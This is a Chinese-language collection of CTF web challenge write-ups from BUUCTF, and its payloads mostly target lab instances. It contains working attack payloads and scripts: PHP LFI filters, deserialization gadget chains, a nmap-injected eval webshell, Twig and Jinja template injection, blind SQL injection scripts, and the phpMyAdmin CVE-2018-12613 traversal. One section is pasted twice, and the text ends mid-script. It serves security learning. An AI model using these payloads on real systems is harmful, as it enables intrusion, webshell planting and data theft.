[网鼎杯 2018]Fakebook和[SWPU2019]Web1没有,共30题
目录
[BSidesCF 2020]Had a bad day
[网鼎杯 2020 朱雀组]phpweb
[BJDCTF2020]The mystery of ip
[BUUCTF 2018]Online Tool
[GXYCTF2019]禁止套娃
[GWCTF 2019]我有一个数据库
[CISCN2019 华北赛区 Day2 Web1]Hack World
[BJDCTF2020]ZJCTF,不过如此
[BJDCTF2020]Mark loves cat
[WUSTCTF2020]朴实无华
[BJDCTF2020]Cookie is so stable
[MRCTF2020]Ezpop
[MRCTF2020]PYWebsite
[安洵杯 2019]easy_web
[极客大挑战 2019]FinalSQL
[WesternCTF2018]shrine
[安洵杯 2019]easy_serialize_php
[强网杯 2019]高明的黑客
[网鼎杯 2020 朱雀组]Nmap
[CISCN2019 华东南赛区]Web11
[极客大挑战 2019]RCE ME
[NPUCTF2020]ReadlezPHP
[BSidesCF 2019]Futurella
[BSidesCF 2019]Kookie
[De1CTF 2019]SSRF Me
[ASIS 2019]Unicorn shop
[NCTF2019]Fake XML cookbook
[BJDCTF2020]EasySearch
[CISCN 2019 初赛]Love Math
[GYCTF2020]FlaskApp
第二页
[BSidesCF 2020]Had a bad day
登录网站后发现url又传参
system('ls')试了不行,试试文件包含
他自动加了php,去掉得到源码
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
直接使用相对路径
?category=php://filter/convert.base64-encode/resource=index/../flag
这里是用相对路径,不需要一个个试了
index../../../flag好吧,绝对路径是这个
[网鼎杯 2020 朱雀组]phpweb
用find查找所有文件名包含flag的文件
发现有post传参
猜测func为函数,p为参数
测试system,passthru发现被禁止
试试file_get_contents读取:
func=file_get_contents&p=index.php
出现了这个东西:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo",
"popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg",
"assert","substr_replace","call_user_func_array","call_user_func","array_filter",
"array_walk", "array_map","registregister_shutdown_function","register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk",
"array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
我们需要用到gettime方法,但是禁了很多函数,看到Test类,就想到反序列化
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "ls /";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
$b=serialize($a);
echo "b=";
echo $b;
?>
b=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
成功,但是没有看到flag
构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件
感觉是tmp那个
ok
[BJDCTF2020]The mystery of ip
围绕ip的题目,首先
X-Forwarded-For:127.0.0.1
Referer:127.0.0.1
重发发现ip改变,然后就尝试能不能命令执行
用{{system('ls')}}
ok
client-ip:{system('ls')}这样也可以
[BUUCTF 2018]Online Tool
escapeshellarg和escapeshellcmd绕过
nmap
escapeshellarg:
escapeshellcmd:
nmap
(Network Mapper)是一个开源的网络扫描工具,用于网络发现和安全审计
然后我们看题,这题用了escapeshellarg和escapeshellcmd来过滤
网上的例子:
1)传入的参数是:172.17.0.2' -v -d a=1
2)经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3)经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
4)最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
payload:?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
尝试蚁剑连接:
成功
/e6305cd14dbe6e1fc4041d81cb3fc9ee/shell.php连接路劲就是你的沙盒加上🐎的文件名
这题在第一页有个类似的
payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到base64去解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项
构造payload: \S*=${phpinfo()}
因为为双引号,'strtolower("\\1")',
双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理
原先的语句:
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $value);
语句就变成了:
preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${phpinfo()}});
\S匹配任何非空白字符
所以我们的payload就为:
\S*={$getFlag()}&cmd=system('ls');
[GXYCTF2019]禁止套娃
无参rce/session_id传参
进入网页看了一圈没看出来啥,目录扫描扫描出.git
然后可以得到index.php的源码:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
对于第二个正则:如果输入中有其他字符(如数字、变量、运算符等),替换后不会只剩 ;
,条件就不成立
所以这是一个典型的无参rce
end() - 读取数组最后一个元素
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
phpinfo() -显示php详细内容
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
首先先查看当前目录:
(pos(localecnov()))就是传入.
print_r(scandir(pos(localeconv())))
flag.php在第五位:next – 将内部指针指向数组下一个元素并输出
用函数array_reverse将数组反转,flag就在第二位了,再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件,构造payload
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
看了其他师傅还有一种解法:用session_id传参
用cookie传参来设置session_id的值,session_id的值等于cookie中PHPSESSID的值,所以构建cookie头
Cookie: PHPSESSID=flag.php
在PHP中,session通常不会手动开启,需要利用php函数session_start来开启,所以可以构造payload
?exp=show_source(session_id(session_start()));
[GWCTF 2019]我有一个数据库
访问robots.txt看看
没发现什么东西,看看文件扫描(dirsearch)
发现了phpadmin,访问phpmyadmin
在phpMyadmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成 本地文件包含漏洞
phpmyadmin文件包含漏洞复现(CVE-2018-12613)
这个漏洞就是第一页WarmUp那题
payload:
/phpmyadmin/?target=db_sql.php%3f/../../../../../../../../flag
[CISCN2019 华北赛区 Day2 Web1]Hack World
这题禁止了很多东西,fuzz后发现^可以
如:
和
根据不同的显示信息就可以做到布尔盲注
但是这里是把空格给禁止了
然后因为我们已经知道了表和列,可以直接查询flag
脚本:
import requests
import time
str="{-}_1234567890qwertyuiopsadfghjklzxcvbnm"
url="http://4054e121-572b-4d4e-bf05-9cec21359a4b.node5.buuoj.cn:81/index.php"
flag=''
for i in range(1,100):
for j in str:
q=ord(j)
#payload=f"1^(ascii(substr((select(database())),{i},1))={q})^1"
payload=f'1^(ascii(substr((select(flag)from(flag)),{i},1))={q})^1'
data={"id":payload}
r=requests.post(url,data=data)
if "Hello" in r.text:
flag+=j
time.sleep(1)
print(flag)
break
这里如果不sleep的话,一次性查询太多我的电脑就会经常错查
[BJDCTF2020]ZJCTF,不过如此
preg_replace/e模式导致代码执行
这题在第一页有个类似的
payload:?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到base64去解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里preg_replace使用了/e模式,导致可以代码执行。而且该函数的第一个和第三个参数我们是可以控制的。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(第二个参数)当做代码来执行,但是这里的第二个参数却固定为 ‘strtolower(“\1”)’ 字符串。上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。所以这里的 \1 实际上指定的是第一个子匹配项
构造payload: \S*=${phpinfo()}
因为为双引号,'strtolower("\\1")',
双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理
原先的语句:
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $value);
语句就变成了:
preg_replace('/(\S*)/ei', 'strtolower("\\1")', {${phpinfo()}});
\S匹配任何非空白字符
所以我们的payload就为:
\S*={$getFlag()}&cmd=system('ls');
[BJDCTF2020]Mark loves cat
目录扫描发现.git泄露
flag.php
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
举个例子,加入我们传get,flag=a
因为
foreach($_GET as $x => $y){
$$x = $$y;
}
所以$x=flag,$y=a,$flag=$a ,$a没东西,所以为空
但根据这个思路,如果我们让a=flag,即$a=$flag,$a就有flag的内容
我们看到这个:
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
触发条件时get,post都要传参,因为有exit()函数,他虽然会让进程停止,但是也会输出里面的内容(网页最下面dog的由来)
我们可以get传参yds=flag,这样$yds=$flag,就可以输出flag
还有一种解法:
用到的是
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
[WUSTCTF2020]朴实无华
看源码没看到啥东西,看看robots.txt
访问:
问号
再访问
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
在不加1的情况下"1e10"
会被认为是字符串,然后intval(“1e10”)后就是1
然后字符串"1e10"
+1
,"1e10"
会自动转换成整数,即1乘10的10次方再加上1
但是要注意,这个题只能在php5的环境下实现,因为在php7里,intval(“1e10”)会被自动转换成10的10次方
然后用这个:0e215962017
(自身和加密后都为0e开头)
空格用${IFS}绕过:
${IFS}$1也可以
[BJDCTF2020]Cookie is so stable
Twing模板注入
感觉这个网站的模板前面有见过
尝试ssti
确实是
然后看看是什么模板
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
贴个图
然后发现是Twing模板
有一个固定的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /flag")}}
至于这个漏洞咋来的
看看大佬的博客
[MRCTF2020]Ezpop
源码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
先放脚本:
<?php
//flag is in flag.php
class Modifier {
protected $var='php://filter/convert.base64-encode/resource=flag.php';
public function append($value){
include($value);
}
public function __invoke(){//调用这个
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
//echo 'Welcome to '.$this->source."<br>";//可以调用tostring
}
public function __toString(){
return $this->str->source;//可以调用get
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
/*
public function __construct(){
$this->p = array();
}
*/
public function __get($key){//get要调用
$function = $this->p;
return $function();//用这个调用_invoke
}
}
$pop=new Show();
$pop->source=new Show();
$pop->source->str=new Test();
$pop->source->str->p=new Modifier();
echo urlencode(serialize($pop));
?>
然后来说一下思路:Modifier()类中的_invoke方法里面可以进行文件包含,然后我们使用filter流过滤器输出,
_invoke是在类被当作函数的时候调用,
也就是Test中的__get可以调用_invoke,_get方法是在访问私有或不存在的成员属性的时候自动触发,
我们就看到Show中的toString方法,令str=new Test()即可,
然后就是调用toString,根据:echo 'Welcome to '.$this->source."<br>";,我们让source=new Show即可
链子就构造出来了
然后为什么这里要url编码呢,这里搬用一下大佬说的:
最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码
而且这里的var是protected,如果不url编码的话是不可见字符
payload:pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
解码即可:
[MRCTF2020]PYWebsite
抓包看源码发现信息:
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
ARandomString
认证后出现这个:
ip保存
尝试:
X-Forwarded-For:127.0.0.1
Referer:127.0.0.1
ok
[安洵杯 2019]easy_web
抓包看看
发现了这一坨base64编码后的东西,感觉是图片,解码看看
就是这东西
他是有带参数的
TXpVek5UTTFNbVUzTURabE5qYz0我们尝试解码:
两次base64解码,看起来像16进制,转一下试试
照着这个思路来逆推,我们试试看看index.php
这个:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
在源码里面复制,base64解码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
就是一个md5强比较,加上rce
试试dir查看目录:
然后就是绕过了
l\s%20/
sort%20/flag
[极客大挑战 2019]FinalSQL
异或注入
有个12345
发现这里有个id,感觉有东西
果然,然后就是写注入脚本了
这里我们用异或:即1^1不行,0^1可以
可以的时候,为Click others
脚本:(这个脚本是搬运别人的)
import requests
import string
from time import sleep
url = "http://808ec0a6-4212-4980-8951-c6cee8465758.node5.buuoj.cn:81/search.php?id=0^({})"
# 盲注的字符集
chars = string.printable
inject = "ord(substr((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y)),{},1))={}"
for i in range(1, 1000):
continue_ = False
for c in chars:
u = url.format(inject.format(i,ord(c)))
res = requests.get(u)
while res.status_code == 429:
sleep(1)
res = requests.get(u)
if 'Click others' in res.text:
print(c,end='',flush=True)
continue_ = True
break
if not continue_:
break
如果正常这样跑的话,前面有很多其他东西,flag在最后面,我们可以加一个reverse倒叙:
"ord(substr(reverse((SELECT(GROUP_CONCAT(password))FROM(geek.F1naI1y))),{},1))={}"
}e287da4034f1-4f58-db14-6a57-b06876f7{galf
然后把他倒过来
[WesternCTF2018]shrine
源码:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
分析一下:
将环境变量中的flag值赋值到config['FLAG']里面
然后对shrine做了一些过滤:替换(,),禁止了config和self
{{url_for.__globals__}}输出所有全局变量
current_app
:指向当前 Flask 应用实例(等价于app
)
payload:{{url_for.__globals__['current_app'].config['FLAG']}}
在 {{url_for.__globals__['current_app'].config['FLAG']}}
中,config
是作为字典的键进行访问的,而不是作为一个独立的变量。因此,即使 config
被设置为 None
,这也不会影响到通过字典键访问的方式。
学习一下:
url_for.__globals__
由于 url_for
是 Flask 应用的一部分,它的 __globals__
字典包含了整个 Flask 应用的全局变量。这意味着你可以通过 url_for.__globals__
访问到 Flask 应用实例 (current_app
)、配置 (config
) 等等
lipsum.__globals__
与 url_for
类似,lipsum
函数也有一个 __globals__
属性,指向其定义所在的模块的全局命名空间。然而,lipsum
函数本身并不直接与 Flask 应用的核心组件(如 current_app
或 config
)相关联,因此它的 __globals__
字典中的内容可能不包含这些特定于 Flask 的对象
[安洵杯 2019]easy_serialize_php
字符串逃逸(减)
源码:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
根据提示,我们看看phpinfo:
?f=phpinfo
base64编码后为:ZDBnM19mMWFnLnBocA==
这边看到了这题替换啊,想到字符串逃逸
逃逸有两种类型:
我们之前做的题是通过将原来字符替换成更长的字符来吧不用的部分挤出去
这道题是通过将字符串清空来把原本的键值给取消,相当于内缩了,所以我们还要自己添加一个键值
我知道说的比较抽象,所以我们来看题:
我们希望img对应的是ZDBnM19mMWFnLnBocA==
但是,
有这个东西,也就是说不管怎么样,我们img的值一定会被改变
所以我们要想个方法来绕开(字符串逃逸)
好继续往前看:
unset会把session中的值全部清空,然后他又赋了user和function的值,但是他又有个extract,会把前面
赋过的session值又给覆盖了
如:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
如果没有POST提交,
有POST提交:
综上,我们只需要想怎么构造$_SESSION就好了
先来看这个:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
$a=serialize($_SESSION);
echo $a;
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是红色的这个东西后面会被替换,用不了,我们可以这么搞:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
$a=serialize($_SESSION);
echo $a;
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这时黄色部分为function的值,但我们希望通过一系列方法让这个值独立出来
我们给user赋值flag,
{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
首先,绿色,是我们要废弃的部分,红色,是我们需要的东西,而为了红色功能实现,我们需要把紫色的部分搞掉(把紫色的部分当作user的值)
即user='";s:8:"function";s:42:"a'
(这里的guest是原user的值)
紫色部分一共有24个字符,我们用6个flag
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
$a=serialize($_SESSION);
echo $a;
?>
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
在filter后就变成了
a:3:
{s:4:"user";s:24:"";s:8:"function";s:41:"a"s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这是红色部分即为user的值,img的值ZDBnM19mMWFnLnBocA==为我们想要的部分,绿色丢了
这是我们只有两个变量了(user,img)
但是a:3,所以我们要自己加一个
如
s:1:"a";s:1:"a";
ok,payload:
$_SESSION[user]=flagflagflagflagflagflag&$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
至于为什么这里是a呢,只是为了凑数而已刚好凑24个要替换的
这题确实挺绕的
你把a去掉然后换23个也可以:
[强网杯 2019]高明的黑客
筛选文件中可用的参数
访问/www.tar.gz,下载gz压缩包:
src里面有非常多的php文件,里面有POST,GET传参
思路就是找到一个文件的参数,让他可以成功命令执行:
这里就贴一位大佬的脚本:
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
